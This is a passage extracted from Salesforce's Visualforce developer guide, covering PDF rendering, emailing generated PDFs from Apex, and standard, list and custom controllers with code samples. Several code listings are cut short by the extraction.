<apex:panelBarItem>
<apex:panelGrid>
<apex:sectionHeader>
<apex:selectCheckboxes>
<apex:selectList>
<apex:selectOption>
<apex:selectOptions>
<apex:selectRadio>
<apex:stylesheet>
<apex:tab>
<apex:tabPanel>
For additional information about individual components, including the specifics of where pass-through attributes are added to their
rendered HTML, see Standard Component Reference on page 347.
To create HTML markup that cant be generated using components that support pass-through attributes, combine Visualforce tags with
static HTML. For example, to create a jQuery Mobile listview, combine the <apex:repeat> tag with the HTML tags you need.
<ul data-role="listview" data-inset="true" data-filter="true">
<apex:repeat value="{! someListOfItems}" var="item">
<li><a href="#">{! item.Name}</a></li>
</apex:repeat>
</ul>
58
<article>
<p>This page looks almost like HTML5!</p>
</article>
</apex:page>
The manifest attribute is available on the <apex:page> tag for Visualforce pages set to API version 28.0 or higher, and also
requires that the applyHtmlTag is set to true (the default).
You can use Visualforce to provide a pages cache manifest. For example, the CacheManifest page referenced above might be:
<apex:page contentType="text/cache-manifest" applyHtmlTag="false"
standardStylesheets="false" showHeader="false">
CACHE MANIFEST
index.html
stylesheet.css
images/logo.png
scripts/main.js
</apex:page>
A Visualforce page rendered as a PDF file displays either in the browser or is downloaded, depending on the browsers settings. Specific
behavior depends on the browser, version, and user settings, and is outside the control of Visualforce.
The following page includes some account details and renders as a PDF file.
<apex:page standardController="Account" renderAs="pdf">
<apex:stylesheet value="{!URLFOR($Resource.Styles,'pdf.css')}"/>
<h1>Welcome to Universal Samples!</h1>
<p>Thank you, <b><apex:outputText value=" {!Account.Name}"/></b>, for
becoming a new account with Universal Samples.</p>
<p>Your account details are:</p>
<table>
<tr><th>Account Name</th>
<td><apex:outputText value="{!Account.Name}"/></td>
</tr>
<tr><th>Account Rep</th>
<td><apex:outputText value="{!Account.Owner.Name}"/></td>
</tr>
<tr><th>Customer Since</th>
59
<td><apex:outputText value="{0,date,long}">
<apex:param value="{!Account.CreatedDate}"/>
</apex:outputText></td>
</tr>
</table>
</apex:page>
60
}"/>
}"/>
}"/>
}"/>
<hr/>
<!-- A little bit of info about the page's rendering;
see how it changes when saved as a PDF. -->
contentType: <apex:outputText value=" {! renderedContentType }"/><br/>
renderingService: <apex:outputText value=" {! renderingService }"/><br/>
</apex:page>
This example has two important elements. First, the renderAs and contentType attributes of the <apex:page> component
are set dynamically using expressions. The values of these expressions control into which format the page is rendered.
The other element is the <apex:form>, which provides a user interface for saving the page to PDF. The form has one element, an
<apex:commandLink> that calls the saveToPdf action method. An <apex:param> component provides a name for the
PDF file, which is used in the controller code to set the file name.
The form is only displayed when the page is rendered as HTML; its not visible in the PDF version. This display trick is accomplished by
setting the rendered attribute on the <apex:form> component to false when the page is rendered as a PDF file.
Heres the controller extension, which you can easily reuse in your own pages.
public class SaveAsPdfExtension {
// Required extension constructor (empty, no-op)
public SaveAsPDFExtension(ApexPages.StandardController controller) {}
// Determines what kind of rendering to use for the page request
public String renderingService { get; private set; }
// Allow the page to set the PDF file name
public String renderedFileName {
get;
set { renderedFileName = this.sanitizeFileName(value); }
}
61
The main part of the extension is simple. The renderingService property controls whether the page is rendered in HTML or PDF.
Its value defaults to null when the page is loaded, and changes to PDF if the saveToPdf action method is called. The renderAs
attribute of the <apex:page> component references renderingService. When its anything other than PDF the page renders
normally as HTML. When its PDF the pageyou guessed itrenders as a PDF file.
62
The renderedContentType property provides a MIME type value that is used by the contentType attribute of the Visualforce
<apex:page> component. Setting this value affects the server response. It adds an HTTP header that tells the client browser the
format of the responsein this case, either HTML or PDF.
The renderedContentType property also sets the file name for the downloaded PDF file. It gets the file name from the
renderedFileName property, which is set using the <apex:param> component in the page. Although its documented that
appending # and a file name to the contentType sets the file name thats sent to the client browser, this convention doesnt work.
Therefore, a header is set to provide the file name.
If you dont need to set the file name for the PDF download, you can ignore the renderedContentType and
renderedFileName properties. This simpler approach to adding a save to PDF function is demonstrated in Fonts Available When
Using Visualforce PDF Rendering on page 68.
63
<apex:pageBlockSectionItem >
<apex:outputLabel for="recipientEmail" value="Send To"/>
<apex:inputText value="{! recipientEmail }" size="40"/>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
<apex:pageBlockButtons location="bottom">
<apex:commandButton action="{! sendReport }" value="Send Account Summary" />
</apex:pageBlockButtons>
</apex:pageBlock>
</apex:form>
</apex:page>
This page is a simple user interface. When youre generating a PDF file from Apex, all the action is in the Apex code.
In this example, that code is in the PdfEmailerController class thats specified as the pages controller.
public with sharing class PdfEmailerController {
// Form fields
public Id selectedAccount
{ get; set; }
public String selectedReport { get; set; }
public String recipientEmail { get; set; }
64
65
get {
if(null == reportFormats) {
reportFormats = new List<SelectOption>();
for(Map <String,Object> report : reports) {
reportFormats.add(new SelectOption(
(String)report.get('name'), (String)report.get('label')));
}
}
return reportFormats;
}
set;
}
66
It performs rudimentary error checking to ensure that the form fields have useful values.
Note: This error checking is inadequate for a form that must survive contact with real people. In your production code perform
more complete form validation.
Next it uses the value of the selected account to look up the name of that account. The account name is used in text thats added
to the email message. This lookup is also an opportunity to further validate the form value and ensure that a real account was selected.
It uses the Messaging.SingleEmailMessage class to assemble an email message, setting the To, Subject, and Body email
message values.
The code creates a PageReference for the selected report format and then sets a page request parameter on it. The parameter
is named id, and its value is set to the selected accounts ID. This PageReference represents a specific request to access this
page in the context of the specified account. When getContentAsPdf() is called, the referenced Visualforce page has access
to the specified account, and the page is rendered with that accounts details.
Finally, the PDF data is added to an attachment, and the attachment is added to the email message created earlier. The message is
then sent.
When using PageReference.getContentAsPdf(), the return type of the method call is Blob, which stands for binary
large object. In Apex, the Blob data type represents untyped binary data. Its only when the reportPdf variable is added to the
Messaging.EmailFileAttachment with a content type of application/pdf that the binary data becomes a PDF file.
In addition, the call to getContentAsPdf() is wrapped in a try/catch block. If the call fails, the catch replaces the hoped
for PDF data with a Blob version of the exceptions message text.
Rendering a Visualforce page as PDF data is treated semantically as a callout to an external service for various reasons. One reason is that
the rendering service can fail in all the same ways that an external service can fail. For instance, the page references external resources
that arent available. Another example is when the page contains too much datausually in the form of imagesor the rendering time
exceeds a limit. For this reason, always wrap the getContentAsPdf() rendering call in a try/catch block when rendering a
Visualforce page as PDF data in Apex.
For completeness, heres the report template page thats rendered into PDF data by the Apex code.
<apex:page showHeader="false" standardStylesheets="false"
standardController="Account">
<!-This page must be called with an Account ID in the request, e.g.:
https://<salesforceInstance>/apex/ReportAccountSimple?id=001D000000JRBet
-->
<h1>Account Summary for {! Account.Name }</h1>
<table>
<tr><th>Phone</th> <td><apex:outputText value="{! Account.Phone }"/></td></tr>
<tr><th>Fax</th>
<td><apex:outputText value="{! Account.Fax }"/></td></tr>
<tr><th>Website</th><td><apex:outputText value="{! Account.Website }"/></td></tr>
</table>
<p><apex:outputText value="{! Account.Description }"/></p>
</apex:page>
67
font-family Values
Arial Unicode MS
Arial Unicode MS
Helvetica
sans-serif
SansSerif
Dialog
Times
serif
Times
Courier
monospace
Courier
Monospaced
DialogInput
Note:
These rules apply to server-side PDF rendering. Viewing pages in a web browser can have different results.
Text styled with a value not listed here uses Times. For example, if you use the word Helvetica, it renders as Times, because
thats not a supported value for the Helvetica font. We recommend using sans-serif.
Arial Unicode MS is the only multibyte font available. Its the only font that provides support for the extended character sets
of languages that dont use the Latin character set.
Web fonts arent supported when the page is rendered as a PDF file. You can use web fonts in your Visualforce pages when
theyre rendered normally.
68
The preceding page uses the following controller, which provides a simple Save to PDF function.
public with sharing class SaveToPDF {
// Determines whether page is rendered as a PDF or just displayed as HTML
public String renderAs { get; set; }
69
<br/>
This is a sample page: API version 28.0
</body>
</apex:page>
Arial Unicode MS is the only font supported for extended character sets that include multibyte characters.
If you use inline CSS styles, set the API version to 28.0 or later. Also set <apex:page applyBodyTag="false">, and add
static, valid <head> and <body> tags to your page, as in the previous example.
70
The maximum response size when creating a PDF file must be less than 15 MB before being rendered as a PDF file. This limit is the
standard limit for all Visualforce requests.
The maximum file size for a generated PDF file is 60 MB.
The maximum total size of all images included in a generated PDF is 30 MB.
PDF rendering doesnt support images encoded in the data: URI scheme format.
The following components dont support double-byte fonts when rendered as PDF.
<apex:pageBlock>
<apex:sectionHeader>
These components arent recommended for use in pages rendered as PDF.
If an <apex:dataTable> or <apex:pageBlockTable> has no <apex:column> components that are rendered,
rendering the page as PDF fails. To work around this issue, set the table components rendered attribute to false if none of
its child <apex:column> components are rendered.
71
<apex:repeat>
<apex:stylesheet> (as long as the URL isnt directly referencing Salesforce style sheets)
<apex:variable>
72
<apex:pageBlockSectionItem>
<apex:pageBlockTable>
<apex:pageMessage>
<apex:pageMessages>
<apex:panelBar>
<apex:panelBarItem>
<apex:relatedList>
<apex:scontrol>
<apex:sectionHeader>
<apex:selectCheckboxes>
<apex:selectList>
<apex:selectOption>
<apex:selectOptions>
<apex:selectRadio>
<apex:tab>
<apex:tabPanel>
<apex:toolbar>
<apex:toolbarGroup>
73
CHAPTER 5
Standard Controllers
A Visualforce controller is a set of instructions that specify what happens when a user interacts with the components specified in associated
Visualforce markup, such as when a user clicks a button or link. Controllers also provide access to the data that should be displayed in a
page, and can modify component behavior.
The Force.com platform provides a number of standard controllers that contain the same functionality and logic that are used for standard
Salesforce pages. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the
same behavior as clicking Save on a standard Account edit page.
A standard controller exists for every Salesforce object that can be queried using the Force.com API.
The following topics include additional information about using standard controllers:
Associating a Standard Controller with a Visualforce Page
Accessing Data with a Standard Controller
Using Standard Controller Actions
Validation Rules and Standard Controllers
Styling Pages that Use Standard Controllers
Checking for Object Accessibility
Custom Controllers and Controller Extensions
Note: When you use the standardController attribute on the <apex:page> tag, you cannot use the controller
attribute at the same time.
74
Standard Controllers
Note: For the getter method to succeed, the record specified by the id query string parameter in the URL must be of the same
type as the standard controller. For example, a page that uses the Account standard controller can only return an account record.
If a contact record ID is specified by the id query string parameter, no data is returned by the {!account} expression.
As with queries in the Force.com API, you can use merge field syntax to retrieve data from related records:
You can traverse up to five levels of child-to-parent relationships. For example, if using the Contact standard controller, you can use
{!contact.Account.Owner.FirstName} (a three-level child-to-parent relationship) to return the name of the owner
of the account record that is associated with the contact.
You can traverse one level of parent-to-child relationships. For example, if using the Account standard controller, you can use
{!account.Contacts} to return an array of all contacts associated with the account that is currently in context.
Description
save
Inserts a new record or updates an existing record if it is currently in context. After this operation is
finished, the save action returns the user to the original page (if known), or navigates the user to
the detail page for the saved record.
quicksave
Inserts a new record or updates an existing record if it is currently in context. Unlike the save action,
this page does not redirect the user to another page.
edit
Navigates the user to the edit page for the record that is currently in context. After this operation is
finished, the edit action returns the user to the page where the user originally invoked the action.
delete
Deletes the record that is currently in content. After this operation is finished, the delete action
either refreshes the page or sends the user to tab for the associated object.
cancel
Aborts an edit operation. After this operation is finished, the cancel action returns the user to the
page where the user originally invoked the edit.
list
Returns a PageReference object of the standard list page, based on the most recently used list filter
for that object. For example, if the standard controller is contact, and the last filtered list that the
user viewed is New Last Week, the contacts created in the last week are displayed.
75
Standard Controllers
For example, the following page allows you to update an account. When you click Save, the save action is triggered on the standard
controller, and the account is updated.
<apex:page standardController="Account">
<apex:form>
<apex:pageBlock title="My Content" mode="edit">
<apex:pageBlockButtons>
<apex:commandButton action="{!save}" value="Save"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="My Content Section" columns="2">
<apex:inputField value="{!account.name}"/>
<apex:inputField value="{!account.site}"/>
<apex:inputField value="{!account.type}"/>
<apex:inputField value="{!account.accountNumber}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter
in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 18 has more information about retrieving the ID of a record.
Note: Command buttons and links that are associated with save, quicksave, edit, or delete actions in a standard
controller are only rendered if the user has the appropriate permissions. Likewise, if no particular record is associated with a page,
command buttons and links associated with the edit and delete actions are not rendered.
76
Standard Controllers
To use the styling associated with a custom Visualforce tab, set the attribute to the name (not label) of the tab followed by a
double-underscore and the word tab. For example, to use the styling of a Visualforce tab with the name Source and a label Sources, use:
<apex:page standardController="Account" tabStyle="Source__tab">
</apex:page>
Alternatively, you can override standard controller page styles with your own custom stylesheets and inline styles.
SEE ALSO:
Styling Visualforce Pages
It is good practice to provide an alternative message if a user cannot access an object. For example:
<apex:page standardController="Lead">
<apex:pageBlock rendered="{!$ObjectType.Lead.accessible}">
<p>This text will display if you can see the Lead object.</p>
</apex:pageBlock>
<apex:pageBlock rendered="{! NOT($ObjectType.Lead.accessible) }">
<p>Sorry, but you cannot see the data because you do not have access to the Lead
object.</p>
77
Standard Controllers
</apex:pageBlock>
</apex:page>
78
CHAPTER 6
Standard list controllers allow you to create Visualforce pages that can display or act on a set of records. Examples of existing Salesforce
pages that work with a set of records include list pages, related lists, and mass action pages. Standard list controllers can be used with
the following objects:
Account
Asset
Campaign
Case
Contact
Contract
Idea
Lead
Opportunity
Order
Product2
Solution
User
Custom objects
The following topics include additional information about using standard list controllers:
Associating a Standard List Controller with a Visualforce Page
Accessing Data with List Controllers
Using Standard List Controller Actions
Using List Views with Standard List Controllers
Overriding Tabs Using a Standard List Controller
Adding Custom List Buttons using Standard List Controllers
SEE ALSO:
Building a Custom Controller
79
For example, to associate a page with the standard list controller for accounts, use the following markup:
<apex:page standardController="Account" recordSetVar="accounts">
Note: When you use the standardController attribute on the <apex:page> tag, you cant use the controller
attribute at the same time.
The recordSetVar attribute not only indicates that the page uses a list controller, it sets the variable name of the record collection.
This variable can be used to access data in the record collection.
This results in a page that lists all the account names in your organization:
Note: This page does not specify a filter in the request, so the page is displayed with the last used filter. For information on using
filters with list controllers, see Using List Views with Standard List Controllers on page 82.
As with queries in the Force.com API, you can use expression language syntax to retrieve data from related records. As with standard
controllers, you can traverse up to five levels of child-to-parent relationships and one level of parent-to-child relationships.
When using a standard list controller, the returned records sort on the first column of data, as defined by the current view, even if that
column is not rendered. When using an extension or custom list controller, you can control the sort method.
Note: No more than 10,000 records can be returned by a standard list controller. Custom controllers can work with larger results
sets. See Working with Large Sets of Data on page 96.
SEE ALSO:
Force.com SOQL and SOSL Reference: Relationship Queries
80
Description
save
Inserts new records or updates existing records that have been changed. After this operation is
finished, the save action returns the user to the original page, if known, or the home page.
quicksave
Inserts new records or updates existing records that have been changed. Unlike the save action,
quicksave does not redirect the user to another page.
list
Returns a PageReference object of the standard list page, based on the most recently used list filter
for that object when the filterId is not specified by the user.
cancel
Aborts an edit operation. After this operation is finished, the cancel action returns the user to the
page where the user originally invoked the edit.
first
last
next
previous
In the following example, the user specifies a filter for viewing account records. When the user clicks Go, the standard list page displays,
using the selected filter.
<apex:page standardController="Account" recordSetVar="accounts">
<apex:form>
<apex:selectList value="{!filterid}" size="1">
<apex:selectOptions value="{!listviewoptions}"/>
</apex:selectList>
<apex:commandButton value="Go" action="{!list}"/>
</apex:form>
</apex:page>
81
By default, a list controller returns 20 records on the page. To control the number of records displayed on each page, use a controller
extension to set the pageSize. For information on controller extensions, see Building a Controller Extension on page 89.
Note: When you use pagination, an exception is thrown when there are modified rows in the collection. This includes any new
rows added to the collection through an extension action. The handling of error messages in this case follows the standard behavior
and can either be displayed upon the page. For example, you can use the <apex:pageMessages> or <apex:messages>
component to display an error message to the user.
82
</apex:pageBlock>
</apex:page>
When you open that page, you'll see something like the following:
This page is associated with the standard account controller and the <apex:selectlist> component is populated by
{!listviewoptions}, which evaluates to the list views the user can see. When the user chooses a value from the drop-down
list, it is bound to the filterId property for the controller. When the filterId is changed, the records available to the page
changes, so, when the <apex:datalist> is updated, that value is used to update the list of records available to the page.
You can also use a view list on an edit page, like the following:
<apex:page standardController="Opportunity" recordSetVar="opportunities"
tabStyle="Opportunity"
sidebar="false">
<apex:form>
<apex:pageBlock>
<apex:pageMessages/>
<apex:pageBlock>
<apex:panelGrid columns="2">
<apex:outputLabel value="View:"/>
<apex:selectList value="{!filterId}" size="1">
<apex:actionSupport event="onchange" rerender="opp_table"/>
<apex:selectOptions value="{!listviewoptions}"/>
</apex:selectList>
</apex:panelGrid>
</apex:pageBlock>
<apex:pageBlockButtons>
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:pageBlockTable value="{!opportunities}" var="opp" id="opp_table">
<apex:column value="{!opp.name}"/>
<apex:column headerValue="Stage">
<apex:inputField value="{!opp.stageName}"/>
</apex:column>
<apex:column headerValue="Close Date">
<apex:inputField value="{!opp.closeDate}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
83
</apex:form>
</apex:page>
Note: If the user changes the list view, an exception is thrown if there are modified rows in the collection. The handling of error
messages in this case follows the standard behavior and can either be displayed upon the page. For example, you can use the
<apex:pageMessages> or <apex:messages> component to display an error message to the user.
you see a page that allows you to update and save the Stage and Close Date on your opportunities, like the following:
84
For more information, see Mass-Updating Records with a Custom List Controller on page 136.
Note: Command buttons and links that are associated with save, quicksave, or edit actions in a list controller are not
rendered if the user does not have the appropriate permissions. Likewise if no particular record is associated with a page, command
buttons and links associated with the edit actions are not rendered.
85
CHAPTER 7
Standard controllers can provide all the functionality you need for a Visualforce page because they include the same logic that is used
for a standard page. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the
same behavior as clicking Save on a standard Account edit page.
However, if you want to override existing functionality, customize the navigation through an application, use callouts or Web services,
or if you need finer control for how information is accessed for your page, you can write a custom controller or a controller extension
using Apex:
What are Custom Controllers and Controller Extensions?
Building a Custom Controller
Building a Controller Extension
Controller Methods
Controller Class Security
Considerations for Creating Custom Controllers and Controller Extensions
Order of Execution in a Visualforce Page
Testing Custom Controllers and Controller Extensions
Validation Rules and Custom Controllers
Using the transient Keyword
86
The following Visualforce markup shows how the custom controller above can be used in a page:
<apex:page controller="myController" tabStyle="Account">
<apex:form>
<apex:pageBlock title="Congratulations {!$User.FirstName}">
You belong to Account Name: <apex:inputField value="{!account.name}"/>
<apex:commandButton action="{!save}" value="save"/>
</apex:pageBlock>
</apex:form>
</apex:page>
The custom controller is associated with the page because of the controller attribute of the <apex:page> component.
87
As with standard controllers and controller extensions, custom controller methods can be referenced with {! } notation in the
associated page markup. In the example above, the getAccount method is referenced by the <apex:inputField> tag's
value attribute, while the <apex:commandButton> tag references the save method with its action attribute.
Note: Like other Apex classes, all custom controllers run in system mode. Consequently, the current user's credentials are not
used to execute controller logic, and the user's permissions and field-level security do not apply.
You can choose whether a custom controller respects a user's organization-wide defaults, role hierarchy, and sharing rules by
using the with sharing keywords in the class definition. For information, see Using the with sharing or without
sharing Keywords in the Apex Developer Guide.
A custom controller can also be used to create new records. For example:
public class NewAndExistingController {
public Account account { get; private set; }
public NewAndExistingController() {
Id id = ApexPages.currentPage().getParameters().get('id');
account = (id == null) ? new Account() :
[SELECT Name, Phone, Industry FROM Account WHERE Id = :id];
}
public PageReference save() {
try {
upsert(account);
} catch(System.DMLException e) {
ApexPages.addMessages(e);
return null;
}
// After successful Save, navigate to the default view page
PageReference redirectSuccess = new ApexPages.StandardController(Account).view();
return (redirectSuccess);
}
}
The following Visualforce markup shows how the custom controller above can be used in a page:
<apex:page controller="NewAndExistingController" tabstyle="Account">
<apex:form>
<apex:pageBlock mode="edit">
<apex:pageMessages/>
<apex:pageBlockSection>
<apex:inputField value="{!Account.name}"/>
<apex:inputField value="{!Account.phone}"/>
<apex:inputField value="{!Account.industry}"/>
</apex:pageBlockSection>
<apex:pageBlockButtons location="bottom">
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
</apex:pageBlock>
</apex:form>
</apex:page>
88
The following Visualforce markup shows how the controller extension from above can be used in a page:
<apex:page standardController="Account" extensions="myControllerExtension">
{!greeting} <p/>
<apex:form>
<apex:inputField value="{!account.name}"/> <p/>
<apex:commandButton value="Save" action="{!save}"/>
</apex:form>
</apex:page>
The extension is associated with the page using the extensions attribute of the <apex:page> component.
As with all controller methods, controller extension methods can be referenced with {! } notation in page markup. In the example
above, the {!greeting} expression at the top of the page references the controller extension's getGreeting method.
Because this extension works in conjunction with the Account standard controller, the standard controller methods are also available.
For example, the value attribute in the <apex:inputField> tag retrieves the name of the account using standard controller
functionality. Likewise, the <apex:commandButton> tag references the standard account save method with its action
attribute.
Multiple controller extensions can be defined for a single page through a comma-separated list. This allows for overrides of methods
with the same name. For example, if the following page exists:
<apex:page standardController="Account"
extensions="ExtOne,ExtTwo" showHeader="false">
<apex:outputText value="{!foo}" />
</apex:page>
89
The value of the <apex:outputText> component renders as foo-One. Overrides are defined by whichever methods are defined
in the leftmost extension, or, the extension that is first in the comma-separated list. Thus, the getFoo method of ExtOne is
overriding the method of ExtTwo.
Note: Like other Apex classes, controller extensions run in system mode. Consequently, the current user's credentials are not
used to execute controller logic, and the user's permissions and field-level security do not apply. However, if a controller extension
extends a standard controller, the logic from the standard controller does not execute in system mode. Instead, it executes in user
mode, in which the permissions, field-level security, and sharing rules of the current user apply.
You can choose whether a controller extension respects a user's organization-wide defaults, role hierarchy, and sharing rules by
using the with sharing keywords in the class definition. For information, see Using the with sharing or without
sharing Keywords in the Apex Developer Guide.
90
Note: The list of sObjects returned by getRecords() is immutable. For example, you cant call clear() on it. You can
make changes to the sObjects contained in the list, but you cant add items to or remove items from the list itself.
The following Visualforce markup shows how the custom controller above can be used in a page:
<apex:page controller="opportunityList2Con">
<apex:pageBlock>
<apex:pageBlockTable value="{!opportunities}" var="o">
<apex:column value="{!o.Name}"/>
<apex:column value="{!o.CloseDate}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
You can also create a custom list controller that uses anti- and semi-joins as part of the SOQL query. The following code is implemented
as an extension to the account standard controller:
public with sharing class AccountPagination {
private final Account acct;
// The constructor passes in the standard controller defined
// in the markup below
public AccountPagination(ApexPages.StandardSetController controller) {
this.acct = (Account)controller.getRecord();
}
public ApexPages.StandardSetController accountRecords {
get {
if(accountRecords == null) {
accountRecords = new ApexPages.StandardSetController(
Database.getQueryLocator([SELECT Name FROM Account WHERE Id NOT IN
(SELECT AccountId FROM Opportunity WHERE IsClosed = true)]));
}
return accountRecords;
}
private set;
}
public List<Account> getAccountPagination() {
return (List<Account>) accountRecords.getRecords();
}
}
The page that displays these records uses a mix of standard list controller actions, but depends on iterating over the records returned
from the custom list controller:
<apex:page standardController="Account" recordSetVar="accounts"
extensions="AccountPagination">
<apex:pageBlock title="Viewing Accounts">
<apex:form id="theForm">
<apex:pageBlockSection >
<apex:dataList value="{!accountPagination}" var="acct" type="1">
{!acct.name}
</apex:dataList>
</apex:pageBlockSection>
<apex:panelGrid columns="2">
<apex:commandLink action="{!previous}">Previous</apex:commandlink>
91
Controller Methods
<apex:commandLink action="{!next}">Next</apex:commandlink>
</apex:panelGrid>
</apex:form>
</apex:pageBlock>
</apex:page>
Controller Methods
Visualforce markup can use the following types of controller extension and custom controller methods:
Action
Getter
Setter
Action Methods
Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an area of
the page. Action methods can be called from page markup by using {! } notation in the action parameter of one of the following
tags:
<apex:commandButton> creates a button that calls an action
<apex:commandLink> creates a link that calls an action
<apex:actionPoller> periodically calls an action
<apex:actionSupport> makes an event (such as onclick, onmouseover, and so on) on another, named component, call
an action
<apex:actionFunction> defines a new JavaScript function that calls an action
<apex:page> calls an action when the page is loaded
For example, in the sample page in Building a Custom Controller on page 87, the controller's save method is called by the action
parameter of the <apex:commandButton> tag. Other examples of action methods are discussed in Defining Action Methods on
page 119.
Getter Methods
Getter methods return values from a controller. Every value that is calculated by a controller and displayed in a page must have a
corresponding getter method, including any Boolean variables. For example, in the sample page in Building a Custom Controller on
page 87, the controller includes a getAccount method. This method allows the page markup to reference the account member
variable in the controller class with {! } notation. The value parameter of the <apex:inputField> tag uses this notation
to access the account, and dot notation to display the account's name. Getter methods must always be named getVariable.
Important: Its a best practice for getter methods to be idempotent, that is, to not have side effects. For example, dont increment
a variable, write a log message, or add a new record to the database. Visualforce doesnt define the order in which getter methods
are called, or how many times they might be called in the course of processing a request. Design your getter methods to produce
the same outcome, whether they are called once or multiple times for a single page request.
92
Controller Methods
Setter Methods
Setter methods pass user-specified values from page markup to a controller. Any setter methods in a controller are automatically executed
before any action methods.
For example, the following markup displays a page that implements basic search functionality for Leads. The associated controller
includes getter and setter methods for the search box input, and then uses the search text to issue a SOSL query when the user clicks
Go!. Although the markup doesnt explicitly call the search text setter method, it executes before the doSearch action method when
a user clicks the command button:
<apex:page controller="theController">
<apex:form>
<apex:pageBlock mode="edit" id="block">
<apex:pageBlockSection>
<apex:pageBlockSectionItem>
<apex:outputLabel for="searchText">Search Text</apex:outputLabel>
<apex:panelGroup>
<apex:inputText id="searchText" value="{!searchText}"/>
<apex:commandButton value="Go!" action="{!doSearch}"
rerender="block" status="status"/>
</apex:panelGroup>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
<apex:actionStatus id="status" startText="requesting..."/>
<apex:pageBlockSection title="Results" id="results" columns="1">
<apex:pageBlockTable value="{!results}" var="l"
rendered="{!NOT(ISNULL(results))}">
<apex:column value="{!l.name}"/>
<apex:column value="{!l.email}"/>
<apex:column value="{!l.phone}"/>
</apex:pageBlockTable>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
The following class is the controller for the page markup above:
public class theController {
String searchText;
List<Lead> results;
public String getSearchText() {
return searchText;
}
public void setSearchText(String s) {
searchText = s;
}
public List<Lead> getResults() {
return results;
}
93
Controller Methods
While a getter method is always required to access values from a controller, its not always necessary to include a setter method to pass
values into a controller. If a Visualforce component is bound to an sObject that is stored in a controller, the sObject's fields are automatically
set if changed by the user, as long as the sObject is saved or updated by a corresponding action method. An example of this behavior
is shown in the sample page in Building a Custom Controller on page 87.
Setter methods must always be named setVariable.
Important: Its a best practice for setter methods to be idempotent, that is, to not have side effects. For example, dont increment
a variable, write a log message, or add a new record to the database. Visualforce doesnt define the order in which setter methods
are called, or how many times they might be called in the course of processing a request. Design your setter methods to produce
the same outcome, whether they are called once or multiple times for a single page request.
The following custom controller has the exact same methods. However, getContactMethod2 calls contactMethod1, so the
variable c is always set, and always contains the correct value when returned.
public class conVsGood {
Contact c;
public Contact getContactMethod1() {
if(c == null) c = [SELECT Id, Name FROM Contact LIMIT 1];
return c;
}
public Contact getContactMethod2() {
return getContactMethod1();
94
}
}
The following markup shows two pages that call these controllers. The Visualforce markup is identical, only the controller name is
changed:
<apex:page controller="conVsGood">
getContactMethod2(): {!contactMethod2.name}<br/>
getContactMethod1(): {!contactMethod1.name}
</apex:page>
<apex:page controller="conVsBad">
getContactMethod2(): {!contactMethod2.name}<br/>
getContactMethod1(): {!contactMethod1.name}
</apex:page>
95
SEE ALSO:
Setting Read-Only Mode for an Entire Page
Setting Read-Only Mode for Controller Methods
The controller for this page is also simple, but illustrates how you can calculate summary statistics for display on a page:
public class SummaryStatsController {
public Integer getVeryLargeSummaryStat() {
Integer closedOpportunityStats =
[SELECT COUNT() FROM Opportunity WHERE Opportunity.IsClosed = true];
return closedOpportunityStats;
}
}
Normally, queries for a single Visualforce page request may not retrieve more than 50,000 rows. In read-only mode, this limit is relaxed
to allow querying up to 1,000,000 rows.
In addition to querying many more rows, the readOnly attribute also increases the maximum number of items in a collection that
can be iterated over using components such as <apex:dataTable>, <apex:dataList>, and <apex:repeat>. This limit
increased from 1,000 items to 10,000. Here is a simple controller and page demonstrating this:
public class MerchandiseController {
public List<Merchandise__c> getAllMerchandise() {
List<Merchandise__c> theMerchandise =
[SELECT Name, Price__c FROM Merchandise__c LIMIT 10000];
return(theMerchandise);
96
}
}
<apex:page controller="MerchandiseController" readOnly="true">
<p>Here is all the merchandise we have:</p>
<apex:dataTable value="{!AllMerchandise}" var="product">
<apex:column>
<apex:facet name="header">Product</apex:facet>
<apex:outputText value="{!product.Name}" />
</apex:column>
<apex:column>
<apex:facet name="header">Price</apex:facet>
<apex:outputText value="{!product.Price__c}" />
</apex:column>
</apex:dataTable>
</apex:page>
While Visualforce pages that use read-only mode for the entire page cant use data manipulation language (DML) operations, they can
call getter, setter, and action methods which affect form and other user interface elements on the page, make additional read-only
queries, and so on.
97
Unless a class has a method defined as webService, custom extension and controller classes and methods are generally defined
as public. If a class includes a web service method, it must be defined as global.
Use sets, maps, or lists when returning data from the database. This makes your code more efficient because the code makes fewer
trips to the database.
The Apex governor limits for Visualforce controller extensions and custom controllers are the same as the limits for anonymous block
or WSDL methods. For more information about governor limits, see Execution Governors and Limits in the Appendix.
If you are building a custom controller or controller extension, be careful that you do not inadvertently expose sensitive data that
would normally be hidden from users. Consider using the with sharing keywords on class definitions to enforce permissions.
Also be careful using Web services, which are secured as top-level entry points by the profile, but execute in the system context
once they are initiated.
Apex methods and variables are not instantiated in a guaranteed order. For more information, see Getting and Setting Data with a
Custom Extension or Controller on page 94.
You can't use data manipulation language (DML) operations in a getxxx method in a controller. For example, if your controller had
a getName method, you could not use insert or update in the method to create an object.
You can't use data manipulation language (DML) operations in a constructor method in a controller.
You can't use the @future annotation in a getxxx or setxxx method in a controller, or in the constructor for a controller.
Primitive Apex data types such as String or Integer are passed by value to the component's controller.
Non-primitive Apex data types such as lists and sObjects are passed by reference to component's controller. This means that if
component's controller changes the name of an account, the changes are available in page's controller.
If your org uses person accounts
When referencing an account record's name field with a custom controller using the <apex:inputField> component
you must specify isPersonAccount in your query.
If you create a new account and set name, the record will be a business account. If you create a new account and set lastname,
it will be a person account.
As a best practice, create a custom name formula field that will render properly for both person accounts and business accounts,
then use that field instead of the standard field in your Visualforce pages.
If you plan on including your Visualforce page in a Force.com AppExchange package, in your controller or controller extension,
you cannot explicitly reference fields that exist only in a person account.
98
99
